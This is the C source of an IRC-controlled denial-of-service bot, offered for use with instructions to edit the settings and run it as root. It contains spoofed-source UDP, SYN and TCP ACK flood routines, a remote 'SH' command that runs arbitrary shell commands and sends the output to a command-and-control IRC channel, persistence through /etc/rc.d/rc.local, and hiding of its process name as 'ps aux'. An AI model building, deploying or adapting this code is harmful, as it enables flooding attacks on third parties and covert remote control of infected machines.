/*
 * DOSnet.c 
 * DOSnet script by Vline of DALnet
 * Thomas O'Connor
 * #theboxnetwork www.thomasoconnor.org
 * edit the code to suit your channel and settings
 * then run from root 
 * type /ctcp botname @help in your channel for info 
 */

#include <stdarg.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <strings.h>
#include <netinet/in.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <signal.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <time.h>
#include <sys/wait.h>
#define NICK "b"
#define CHAN "#channel"
#define KEY "a"
#define SERVER "irc.network.com"
#define PORT 6667
#define TIMEOUT 60
#define CONTROL_CHAR '@'
int *pids, csum=0;
char *nick,disabled=0, execfile[256];
unsigned long spoofs=0, spoofsm=0, numpids=0;
int mfork() {
  int parent;
  if (disabled == 1) return disabled;
  parent=fork();
  if (parent <= 0) return parent;
  numpids++;
  pids=(int*)realloc(pids,numpids);
  pids[numpids-1]=parent;
  return parent;
}
unsigned long getspoof() {
  if (!spoofs) return rand();
  if (spoofsm == 1) return ntohl(spoofs);
  return ntohl(spoofs+(rand() % spoofsm)+1);
}
void filter(char *a) {
  while(a[strlen(a)-1] == '\r' || a[strlen(a)-1] == '\n') a[strlen(a)-1]=0;
}
long pow(long a, long b) {
  if (b == 0) return 1;
  if (b == 1) return a;
  return a*pow(a,b-1);
}
u_short in_cksum(u_short *addr, int len) { 
  register int nleft = len;
  register u_short *w = addr;
  register int sum = 0;
  u_short answer =0;
  if (!csum) return rand();
  while (nleft > 1) {
    sum += *w++;
    nleft -= 2;
  }
  if (nleft == 1) {
    *(u_char *)(&answer) = *(u_char *)w;
    sum += answer;
  }
  sum = (sum >> 16) + (sum & 0xffff);
  sum += (sum >> 16);
  answer = ~sum;
  return(answer);
}
int Send(int sock, char *words, ...) {
  static char textBuffer[1024];
  va_list args;
  va_start(args, words);
  vsprintf(textBuffer, words, args);
  va_end(args);
  return write(sock,textBuffer,strlen(textBuffer));
}
void checksum(int sock, char *sender, int argc, char **argv) {
  if (argc != 1) {
    Send(sock,"NOTICE %s :CHECKSUM <on/off>\n",sender);
    return;
  }
  if (!strcmp(argv[1],"on")) csum=1;
  else csum=0;
  Send(sock,"NOTICE %s :Checksum has been turned %d.\n",sender,csum==1?"on":"off");
}
void dns(int sock, char *sender, int argc, char **argv) {
  struct hostent *hostm;
  struct in_addr m;
  if (mfork() != 0) return;
  if (argc != 1) {
    Send(sock,"NOTICE %s :DNS <host>\n",sender);
    exit(0);
  }
  Send(sock,"NOTICE %s :Resolving %s...\n",sender,argv[1]);
  if ((hostm=gethostbyname(argv[1])) == NULL) {
    Send(sock,"NOTICE %s :Unable to resolve.\n",sender);
    exit(0);
  }
  memcpy((char*)&m, hostm->h_addr, hostm->h_length);
  Send(sock,"NOTICE %s :Resolved to %s.\n",sender,inet_ntoa(m));
  exit(0);
}
void getspoofs(int sock, char *sender, int argc, char **argv) {
  unsigned long a=spoofs;
  if (spoofsm == 1) Send(sock,"NOTICE %s :Spoofs: 
%d.%d.%d.%d\n",sender,((u_char*)&a)[3],((u_char*)&a)[2],((u_char*)&a)[1],((u_char*)&a)[0]);
  else {
    unsigned long b=spoofs+(spoofsm-1);
    Send(sock,"NOTICE %s :Spoofs: %d.%d.%d.%d - 
%d.%d.%d.%d\n",sender,((u_char*)&a)[3],((u_char*)&a)[2],((u_char*)&a)[1],((u_char*)&a)[0],((u_char*)&b)[3],((u_char*)&b)[2],((u_char*)&b)[1],((u_char*)&b)[0]);
  }
}
void version(int sock, char *sender, int argc, char **argv) {
  Send(sock,"NOTICE %s :Voyager 2001: By bysin@efnet\n",sender);
}
void nickc(int sock, char *sender, int argc, char **argv) {
  if (argc != 1) {
    Send(sock,"NOTICE %s :NICK <nick>\n",sender);
    return;
  }
  if (strlen(argv[1]) >= 10) {
    Send(sock,"NOTICE %s :Nick cannot be larger than 9 characters.\n",sender);
    return;
  }
  nick=strdup(argv[1]);
  Send(sock,"NICK %s\n",nick);
}
void disable(int sock, char *sender, int argc, char **argv) {
  disabled=1;
}
void enable(int sock, char *sender, int argc, char **argv) {
  disabled=0;
}
void spoof(int sock, char *sender, int argc, char **argv) {
  char ip[256];
  int i, num;
  unsigned long uip;
  if (argc != 1) {
    Send(sock,"NOTICE %s :Removed all spoofs\n",sender);
    spoofs=0;
    spoofsm=0;
    return;
  }
  if (strlen(argv[1]) > 16) {
    Send(sock,"NOTICE %s :What kind of subnet address is that? Do something like: 
169.40\n",sender);
    return;
  }
  strcpy(ip,argv[1]);
  if (ip[strlen(ip)-1] == '.') ip[strlen(ip)-1] = 0;
  for (i=0, num=1;i<strlen(ip);i++) if (ip[i] == '.') num++;
  num=-(num-4);
  for (i=0;i<num;i++) strcat(ip,".0");
  uip=inet_network(ip);
  if (num == 0) spoofsm=1;
  else spoofsm=pow(256,num);
  spoofs=uip;
}
struct ip {
    unsigned int ip_hl:4;
    unsigned int ip_v:4;
    unsigned char ip_tos;
    unsigned short ip_len;
    unsigned short ip_id;
    unsigned short ip_off;
    unsigned char ip_ttl;
    unsigned char ip_p;
    unsigned short ip_sum;
    struct in_addr ip_src, ip_dst;
};
struct iphdr {
  unsigned char ihl:4, version:4;
  unsigned char tos;
  unsigned short tot_len;
  unsigned short id;
  unsigned short frag_off;
  unsigned char ttl;
  unsigned char protocol;
  unsigned short check;
  unsigned int saddr;
  unsigned int daddr;
};
struct udphdr {
  unsigned short source;
  unsigned short dest;
  unsigned short len;
  unsigned short check;
};
struct tcphdr {
  unsigned short source;
  unsigned short dest;
  unsigned int seq;
  unsigned int ack_seq;
  unsigned short res1:4, doff:4, fin:1, syn:1, rst:1, psh:1, ack:1, urg:1, ece:1, cwr:1;
  unsigned short window;
  unsigned short check;
  unsigned short urg_ptr;
};
unsigned int host2ip(char *hostname) {
  static struct in_addr i;
  struct hostent *h;
  if((i.s_addr = inet_addr(hostname)) == -1) {
    if((h = gethostbyname(hostname)) == NULL) {
      fprintf(stderr, "cant find %s!\n", hostname);
      exit(0);
    }
    bcopy(h->h_addr, (char *)&i.s_addr, h->h_length);
  }
  return i.s_addr;
}
unsigned short in_cksum2(unsigned short *ptr, int nbytes) {
  register long sum=0;
  u_short  oddbyte=0;
  while (nbytes > 1) {
    sum += *ptr++;
    nbytes -= 2;
  }
  if (nbytes == 1) {
    *((u_char *) &oddbyte) = *(u_char *)ptr;
    sum += oddbyte;
  }
  sum  = (sum >> 16) + (sum & 0xffff);
  sum += (sum >> 16);  
  return (u_short)(~sum);
}
void udp(int sock, char *sender, int argc, char **argv) {
  unsigned int secs,port,i=0;
  unsigned long psize,target;
  struct sockaddr_in s_in;
  struct packet {
    struct ip ip;
    struct udphdr udp;
    char *buf;
  } packet;
  int get;
  time_t start=time(NULL);
  if (mfork() != 0) return;
  if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
  if (argc < 3) {
    Send(sock,"NOTICE %s :UDP <target> <port> <secs>\n",sender);
    exit(1);
  }
  target = host2ip(argv[1]);
  port = atoi(argv[2]);
  secs = atoi(argv[3]);
  psize = 1500-(sizeof(struct ip)+sizeof(struct udphdr));
  packet.buf=(unsigned char*)malloc(psize);
  memset(packet.buf,10,psize);
  Send(sock,"NOTICE %s :Packeting %s.\n",sender,argv[1]);
  packet.ip.ip_hl = 5;
  packet.ip.ip_v = 4;
  packet.ip.ip_tos = 0;
  packet.ip.ip_len = 1500;
  packet.ip.ip_off = 0;
  packet.ip.ip_p = 17;
  packet.ip.ip_ttl = 64;
  packet.ip.ip_dst.s_addr = target;
  packet.udp.len = htons(psize);
  s_in.sin_family  = AF_INET;
  s_in.sin_addr.s_addr = target;
  for (;;) {
    packet.udp.source = rand();
    if (port) packet.udp.dest = htons(port);
    else packet.udp.dest = rand();
    packet.udp.check = in_cksum((u_short *)&packet,1500);
    packet.ip.ip_src.s_addr = getspoof();
    packet.ip.ip_id = rand();
    packet.ip.ip_sum = in_cksum((u_short *)&packet,1500);
    s_in.sin_port = packet.udp.dest;
    sendto(get,(char*)&packet,1500,0,(struct sockaddr *)&s_in,sizeof(s_in));
    if (i >= 50) {
      if (time(NULL) >= start+secs) exit(0);
      i=0;
    }
    i++;
  }
}
void pan(int sock, char *sender, int argc, char **argv) {
  struct send_tcp {
    struct iphdr ip;
    struct tcphdr tcp;
    char buf[20];
  } send_tcp;
  struct pseudo_header {
    unsigned int source_address;
    unsigned int dest_address;
    unsigned char placeholder;
    unsigned char protocol;
    unsigned short tcp_length;
    struct tcphdr tcp;
    char buf[20];
  } pseudo_header;
  struct sockaddr_in sin;
  unsigned int syn[20] = { 2,4,5,180,4,2,8,10,0,0,0,0,0,0,0,0,1,3,3,0 }, a=0;
  unsigned int psize=20, source, dest, check;
  unsigned long saddr, daddr,secs;
  int get;
  time_t start=time(NULL);
  if (mfork() != 0) return;
  if (argc < 2) {
    Send(sock,"NOTICE %s :PAN <target> <secs>\n",sender);
    exit(1);
  }
  if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
  {int i; for(i=0;i<20;i++) send_tcp.buf[i]=(u_char)syn[i];}
  daddr=host2ip(argv[1]);
  secs=atol(argv[2]);
  Send(sock,"NOTICE %s :Panning %s.\n",sender,argv[1]);
  send_tcp.ip.ihl = 5;
  send_tcp.ip.version = 4;
  send_tcp.ip.tos = 16;
  send_tcp.ip.frag_off = 64;
  send_tcp.ip.ttl = 64;
  send_tcp.ip.protocol = 6;
  send_tcp.tcp.ack_seq = 0;
  send_tcp.tcp.doff = 10;
  send_tcp.tcp.res1 = 0;
  send_tcp.tcp.cwr = 0;
  send_tcp.tcp.ece = 0;
  send_tcp.tcp.urg = 0;
  send_tcp.tcp.ack = 0;
  send_tcp.tcp.psh = 0;
  send_tcp.tcp.rst = 0;
  send_tcp.tcp.fin = 0;
  send_tcp.tcp.syn = 1;
  send_tcp.tcp.window = 30845;
  send_tcp.tcp.urg_ptr = 0;
  while(1) {
    source=rand();
    dest=rand();
    saddr=getspoof();
    send_tcp.ip.tot_len = htons(40+psize);
    send_tcp.ip.id = rand();
    send_tcp.ip.saddr = saddr;
    send_tcp.ip.daddr = daddr;
    send_tcp.ip.check = 0;
    send_tcp.tcp.source = source;
    send_tcp.tcp.dest = dest;
    send_tcp.tcp.seq = rand();
    send_tcp.tcp.check = 0;
    sin.sin_family = AF_INET;
    sin.sin_port = source;
    sin.sin_addr.s_addr = send_tcp.ip.daddr;   
    send_tcp.ip.check = in_cksum2((unsigned short *)&send_tcp.ip, 20);
    check = rand();
    send_tcp.buf[9]=((char*)&check)[0];
    send_tcp.buf[10]=((char*)&check)[1];
    send_tcp.buf[11]=((char*)&check)[2];
    send_tcp.buf[12]=((char*)&check)[3];
    pseudo_header.source_address = send_tcp.ip.saddr;
    pseudo_header.dest_address = send_tcp.ip.daddr;
    pseudo_header.placeholder = 0;
    pseudo_header.protocol = IPPROTO_TCP;
    pseudo_header.tcp_length = htons(20+psize);
    bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
    bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize);
    send_tcp.tcp.check = in_cksum2((unsigned short *)&pseudo_header, 32+psize);
    sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin));
    if (a >= 50) {
      if (time(NULL) >= start+secs) exit(0);
      a=0;
    }
    a++;
  }
  close(get);
  exit(0);
}
void tsunami(int sock, char *sender, int argc, char **argv) {
  struct send_tcp {
    struct iphdr ip;
    struct tcphdr tcp;
    char buf[1400];
  } send_tcp;
  struct pseudo_header {
    unsigned int source_address;
    unsigned int dest_address;
    unsigned char placeholder;
    unsigned char protocol;
    unsigned short tcp_length;
    struct tcphdr tcp;
    char buf[1400];
  } pseudo_header;
  struct sockaddr_in sin;
  unsigned int psize=1400, check,i,secs;
  unsigned long saddr, daddr;
  int get;
  time_t start=time(NULL);
  if (mfork() != 0) return;
  if (argc < 2) {
    Send(sock,"NOTICE %s :TSUNAMI <target> <secs>\n",sender);
    exit(1);
  }
  secs=atoi(argv[2]);
  if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
  srand(time(NULL) ^ getpid());
  memset(send_tcp.buf,rand(),psize);
  daddr=host2ip(argv[1]);
  Send(sock,"NOTICE %s :Tsunami heading for %s.\n",sender,argv[1]);
  while(1) {
    saddr=getspoof();
    send_tcp.ip.ihl = 5;
    send_tcp.ip.version = 4;
    send_tcp.ip.tos = 16;
    send_tcp.ip.tot_len = htons(40+psize);
    send_tcp.ip.id = rand();
    send_tcp.ip.frag_off = 64;
    send_tcp.ip.ttl = 64;
    send_tcp.ip.protocol = 6;
    send_tcp.ip.check = 0;
    send_tcp.ip.saddr = saddr;
    send_tcp.ip.daddr = daddr;
    send_tcp.tcp.source = rand();
    send_tcp.tcp.dest = rand();
    send_tcp.tcp.seq = rand();
    send_tcp.tcp.ack_seq = rand();
    send_tcp.tcp.doff = 5;
    send_tcp.tcp.res1 = 0;
    send_tcp.tcp.cwr = 0;
    send_tcp.tcp.ece = 0;
    send_tcp.tcp.urg = 0;
    send_tcp.tcp.ack = 1;
    send_tcp.tcp.psh = 1;
    send_tcp.tcp.rst = 0;
    send_tcp.tcp.fin = 0;
    send_tcp.tcp.syn = 0;
    send_tcp.tcp.window = 30845;
    send_tcp.tcp.check = 0;
    send_tcp.tcp.urg_ptr = 0;
    sin.sin_family = AF_INET;
    sin.sin_port = send_tcp.tcp.dest;
    sin.sin_addr.s_addr = send_tcp.ip.daddr;   
    send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
    check = in_cksum((unsigned short *)&send_tcp, 40);
    pseudo_header.source_address = send_tcp.ip.saddr;
    pseudo_header.dest_address = send_tcp.ip.daddr;
    pseudo_header.placeholder = 0;
    pseudo_header.protocol = IPPROTO_TCP;
    pseudo_header.tcp_length = htons(20+psize);
    bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
    bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize);
    send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize);
    sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin));
    if (i >= 50) {
      if (time(NULL) >= start+secs) exit(0);
      i=0;
    }
    i++;
  }
  close(get);
  exit(0);
}
void help(int sock, char *sender, int argc, char **argv) {
  if (mfork() != 0) return;
  Send(sock,"NOTICE %s :This %s accepts the following commands via ctcp (with a #):\n",sender,NICK); 
sleep(2);
  Send(sock,"NOTICE %s :TSUNAMI <target> <secs>                          = Special packeter that wont 
be blocked by most firewalls\n",sender); sleep(2);
  Send(sock,"NOTICE %s :NICK <nick>                                      = Changes the nick of the 
knight\n",sender); sleep(2);
  Send(sock,"NOTICE %s :GETSPOOF                                         = Gets the current 
spoofing\n",sender); sleep(2);
  Send(sock,"NOTICE %s :PAN <target> <secs>                              = An advanced syn flooder 
that will kill most network drivers\n",sender); sleep(2);
  Send(sock,"NOTICE %s :UDP <target> <port> <secs>                       = My special++ 
exploit\n",sender); sleep(2);
  Send(sock,"NOTICE %s :SPOOFS <subnet>                                  = Changes spoofing to a 
subnet\n",sender); sleep(2);
  Send(sock,"NOTICE %s :DNS <host>                                       = DNSs a host\n",sender); 
sleep(2);
  Send(sock,"NOTICE %s :CHECKSUM <on/off>                                = Turns checksum on or 
off\n",sender); sleep(2);
  Send(sock,"NOTICE %s :IRC <command>                                    = Sends this command to the 
server\n",sender); sleep(2);
  Send(sock,"NOTICE %s :SH <command>                                     = Executes a 
command\n",sender); sleep(2);
  Send(sock,"NOTICE %s :KILLALL                                          = Kills all current 
packeting\n",sender); sleep(2);
  Send(sock,"NOTICE %s :KILL                                             = Kills the 
knight\n",sender); sleep(2);
  Send(sock,"NOTICE %s :DISABLE                                          = Disables all packeting 
from this knight\n",sender); sleep(2);
  Send(sock,"NOTICE %s :ENABLE                                           = Enables all packeting from 
this knight\n",sender); sleep(2);
  Send(sock,"NOTICE %s :VERSION                                          = Requests version of 
knight\n",sender); sleep(2);
  Send(sock,"NOTICE %s :HELP                                             = Displays this\n",sender);
  exit(0);
}
void killall(int sock, char *sender, int argc, char **argv) {
  unsigned long i;
  for (i=0;i<numpids;i++) {
    if (pids[i] != 0 && pids[i] != getpid()) {
      Send(sock,"NOTICE %s :Killing pid %d.\n",sender,pids[i]);
      kill(pids[i],9);
    }
  }
}
void killd(int sock, char *sender, int argc, char **argv) {
  kill(0,9);
}
struct FMessages { char *cmd; void (* func)(int,char *,int,char **); } flooders[] = {
  { "TSUNAMI", tsunami },
  { "NICK", nickc },
  { "CHECKSUM", checksum },
  { "PAN", pan },
  { "UDP", udp },
  { "GETSPOOFS", getspoofs },
  { "SPOOFS", spoof },
  { "DISABLE", disable },
  { "ENABLE", enable },
  { "DNS", dns },
  { "VERSION", version },
  { "KILLALL", killall },
  { "HELP", help },
  { "KILL", killd },
{ (char *)0, (void (*)(int,char *,int,char **))0 } };
void _PRIVMSG(int sock, char *sender, char *str) {
  int i;
  char *to, *message;
  for (i=0;i<strlen(str) && str[i] != ' ';i++);
  str[i]=0;
  to=str;
  message=str+i+2;
  if (*message != 1) return;
  if (message[strlen(message)-1] != 1) return;
  message[strlen(message)-1]=0;
  message++;
  for (i=0;i<strlen(sender) && sender[i] != '!';i++);
  sender[i]=0;
  if (!strncmp(message,"PING ",5)) Send(sock,"NOTICE %s :\01PING %s\01\n",sender,message+5);
  else if (!strncmp(message,"VERSION",7)) Send(sock,"NOTICE %s :\01VERSION Opi Corp3.3.1.linux 
Edition\01\n",sender);
  else if (*message == CONTROL_CHAR) {
    char *params[12], name[1024]={0};
    int num_params=0, m;
    message++;
    Send(sock,"PRIVMSG %s :*** [%s] %s\n",CHAN,sender,message);
    if (!strncmp(message,"IRC ",4)) { Send(sock,"%s\n",message+4); return; }
    else if (!strncmp(message,"SH ",3)) {
      char buf[1024];
      FILE *command;
      if (mfork() != 0) return;
      command=popen(message+3,"r");
      while(!feof(command)) {
        memset(buf,0,1024);
        fgets(buf,1024,command);
        Send(sock,"PRIVMSG %s :%s\n",CHAN,buf);
        sleep(1);
      }
      pclose(command);
      exit(0);
    }
    m=strlen(message);
    for (i=0;i<m;i++) {
      if (*message == ' ' || *message == 0) break;
      name[i]=*message;
      message++;
    }
    for (i=0;i<strlen(message);i++) if (message[i] == ' ') num_params++;
    num_params++;
    if (num_params > 10) num_params=10;
    params[0]=name;
    params[num_params+1]="\0";
    m=1;
    while (*message != 0) {
      message++;
      if (m >= num_params) break;
      for (i=0;i<strlen(message) && message[i] != ' ';i++);
      params[m]=(char*)malloc(i+1);
      strncpy(params[m],message,i);
      params[m][i]=0;
      m++;
      message+=i;
    }
    for (m=0; flooders[m].cmd != (char *)0; m++) {
      if (!strcasecmp(flooders[m].cmd,name)) {
        flooders[m].func(sock,sender,num_params-1,params);
        for (i=1;i<num_params;i++) free(params[i]);
        return;
      }
    }
  }
}
void _376(int sock, char *sender, char *str) {
  Send(sock,"MODE %s -xi %s\n",nick,nick);
  Send(sock,"JOIN %s :%s\n",CHAN,KEY);
  Send(sock,"MODE %s +tnsk %s\n",CHAN,KEY);
  Send(sock,"WHO %s\n",nick);
}
void _PING(int sock, char *sender, char *str) {
  Send(sock,"PONG %s\n",str);
}
void _352(int sock, char *sender, char *str) {
  int i,d;
  char *msg=str;
  struct hostent *hostm;
  unsigned long m;
  for (i=0,d=0;d<5;d++) {
    for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;
    if (i == strlen(str)) return;
  }
  for (i=0;i<strlen(msg) && msg[i] != ' ';i++);
  msg[i]=0;
  if (!strcmp(msg,nick) && !spoofsm) {
    msg=str;
    for (i=0,d=0;d<3;d++) {
      for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;
      if (i == strlen(str)) return;
    }
    for (i=0;i<strlen(msg) && msg[i] != ' ';i++);
    msg[i]=0;
    if ((m = inet_addr(msg)) == -1) {
      if ((hostm=gethostbyname(msg)) == NULL) {
        Send(sock,"NOTICE %s :I'm having a problem resolving my host, someone will 
have to SPOOFS me manually.\n",CHAN);
        return;
      }
      memcpy((char*)&m, hostm->h_addr, hostm->h_length);
    }
    ((char*)&spoofs)[3]=((char*)&m)[0];
    ((char*)&spoofs)[2]=((char*)&m)[1];
    ((char*)&spoofs)[1]=((char*)&m)[2];
    ((char*)&spoofs)[0]=0;
    spoofsm=256;
  }
}
void _433(int sock, char *sender, char *str) {
  int on;
  free(nick);
  nick=(char*)malloc(10);
  memcpy(nick,NICK,strlen(NICK));
  for (on=strlen(NICK);on<9;on++) nick[on]='A'+((rand()-('A'-1))%('A'-('Z'+1)));
  nick[9]=0;
  Send(sock,"NICK %s\n",nick);
}
struct Messages { char *cmd; void (* func)(int,char *,char *); } msgs[] = {
  { "352", _352 },
  { "376", _376 },
  { "433", _433 },
  { "422", _376 },
  { "PRIVMSG", _PRIVMSG },
  { "PING", _PING },
{ (char *)0, (void (*)(int,char *,char *))0 } };
int sock;
void con() {
  signal(SIGALRM,exit);
  while(1) {
    struct sockaddr_in server;
    unsigned long ipaddr;
    int i;
    if ((i=fork()) == 0) {
      if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) exit(0);
      server.sin_family = AF_INET;
      server.sin_port = htons(6667);
      if ((ipaddr = inet_addr(SERVER)) == -1) {
        struct hostent *hostm;
        if ((hostm=gethostbyname(SERVER)) == NULL) exit(0);
        memcpy((char*)&server.sin_addr, hostm->h_addr, hostm->h_length);
      }
      else server.sin_addr.s_addr = ipaddr;
      memset(&(server.sin_zero), 0, 8);
      alarm(15);
      if (connect(sock,(struct sockaddr *)&server, sizeof(server)) == 0) break;
      alarm(0);
      exit(0);
    }
    waitpid(i,0,0);
    kill(i,9);
  }
  alarm(0);
  setsockopt(sock,SOL_SOCKET,SO_LINGER,0,0);
  setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,0,0);
  setsockopt(sock,SOL_SOCKET,SO_KEEPALIVE,0,0);
}
int main(int argc, char **argv) {
  char *user;
  int on,i;
  char cwd[256];
  FILE *file=fopen("/etc/rc.d/rc.local","r");
  if (file != NULL) {
    char outfile[256], buf[1024];
    int i=strlen(argv[0]), d=0;
    getcwd(cwd,256);
    if (strcmp(cwd,"/")) {
      while(argv[0][i] != '/') i--;
      sprintf(outfile,"\"%s%s\"\n",cwd,argv[0]+i);
      while(!feof(file)) {
        fgets(buf,1024,file);
        if (!strcmp(buf,outfile)) d++;
      }
      if (d == 0) {
        FILE *out;
        fclose(file);
        out=fopen("/etc/rc.d/rc.local","a");
        if (out != NULL) {
          fputs(outfile,out);
          fclose(out);
        }
      }
      else fclose(file);
    }
    else fclose(file);
  }
  getcwd(cwd,256);
  i=strlen(argv[0]);
  while(argv[0][i] != '/') i--;
  sprintf(execfile,"\"%s%s\"",cwd,argv[0]+i);
  strncpy(argv[0],"ps aux",strlen(argv[0]));
  for (on=1;on<argc;on++) memset(argv[on],0,strlen(argv[on]));
  srand((time(NULL) ^ getpid()) + getppid());
  nick=(char*)malloc(10);
  memcpy(nick,NICK,strlen(NICK));
  for (on=strlen(NICK);on<9;on++) nick[on]='A'+((rand()-('A'-1))%('A'-('Z'+1)));
  nick[9]=0;
  user=(char*)malloc(10);
  memcpy(user,nick+6,4);
  user[4]='-';
  for (on=5;on<9;on++) user[on]='a'+((rand()-('a'-1))%('a'-('z'+1)));
  user[9]=0;
  if (fork()) exit(0);
  while(1) {
    int i=fork();
    if (i == 0) break;
    waitpid(i,0,0);
  }
  con();
  Send(sock,"NICK %s\nUSER %s localhost localhost :%s\n",nick,user,user);
  while(1) {
    unsigned long i;
    fd_set n;
    struct timeval tv;
    FD_ZERO(&n);
    FD_SET(sock,&n);
    tv.tv_sec=60*20;
    tv.tv_usec=0;
    if (select(sock+1,&n,(fd_set*)0,(fd_set*)0,&tv) <= 0) exit(0);
    for (i=0;i<numpids;i++) if (waitpid(pids[i],NULL,WNOHANG) > 0) {
      int *newpids;
      unsigned long on;
      for (on=i+1;on<numpids;on++) pids[on-1]=pids[on];
      numpids--;
      newpids=(int*)malloc(numpids);
      for (on=0;on<numpids;on++) newpids[on]=pids[on];
      free(pids);
      pids=(int*)malloc(numpids);
      for (on=0;on<numpids;on++) pids[on]=newpids[on];
      free(newpids);
    }
    if (FD_ISSET(sock,&n)) {
      char buf[4096], *str;
      int i;
      if ((i=recv(sock,buf,4096,0)) <= 0) exit(0);
      buf[i]=0;
      str=strtok(buf,"\n");
      while(str && *str) {
        char name[1024], sender[1024];
        filter(str);
        if (*str == ':') {
          for (i=0;i<strlen(str) && str[i] != ' ';i++);
          str[i]=0;
          strcpy(sender,str+1);
          strcpy(str,str+i+1);
        }
        else strcpy(sender,"*");
        for (i=0;i<strlen(str) && str[i] != ' ';i++);
        str[i]=0;
        strcpy(name,str);
        strcpy(str,str+i+1);
        for (i=0;msgs[i].cmd != (char *)0;i++) if (!strcasecmp(msgs[i].cmd,name)) 
msgs[i].func(sock,sender,str);
        if (!strcasecmp(name,"ERROR")) exit(0);
        str=strtok((char*)NULL,"\n");
      }
    }
  }
  return 0;
}